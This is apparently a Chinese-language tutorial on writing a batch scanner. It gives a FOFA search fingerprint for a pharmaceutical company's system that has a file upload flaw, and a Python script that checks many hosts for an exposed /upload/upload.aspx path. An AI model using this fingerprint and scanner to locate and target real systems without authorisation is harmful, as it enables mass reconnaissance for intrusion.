前言
在我们找到一个漏洞之后,可能会想着去fofa上搜语法进而扩大战果,而有些漏洞利用起来十分繁琐,这时候就需要一个exp来批量帮我们进行扫描工作,接下来就介绍一下如何进行exp的编写,这个过程中最重要的还是体现编程思想。
这里使用医药公司某系统文件上传漏洞
FOFA
body="ResourceScripts/zh-cn-Login.aspx.js"
python源码
import requests
banner = r"""
^
| |
@#####@
( ###)-.
.( ###) \
/ ( ###) )
(=- .@#####@|_--"
/\ \_|l|_/ (\
(=-\ |l| /
\ \.___|l|___/
/\ |_| /
(=-\._________/\
\ /
\._________/
----
__
\########/
|-----------------------------------------------------------------------------------|
| 医药系统文件上传漏洞 |
| |
| Example: python md.py |
| |
| 作者: xx |
|___________________________________________________________________________________|
"""
print(banner)
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
读取url.txt文件中的IP地址
try:
with open('url.txt', 'r') as file:
ips = file.readlines()
except FileNotFoundError:
print("Error: url.txt 文件未找到。")
exit(1)
去除每行末尾的换行符,并可能处理其他格式问题
ips = [ip.strip() for ip in ips if ip.strip()] 去除空行和只包含换行符的行
遍历每个IP地址
for ip in ips:
url = f"{ip}/upload/upload.aspx"
response = requests.get(url=url, headers=headers)
检查响应状态码
if response.status_code == 200:
print(f"[+] {url} 漏洞存在")
else:
print(f"[-] {url} 漏洞不存在")
banner使用r输出原始字符串,这个脚本写起来也比较简单,就是get访问/upload/upload.aspx路径状态码200就是存在漏洞,这里是编写poc批量检测
脚本执行效果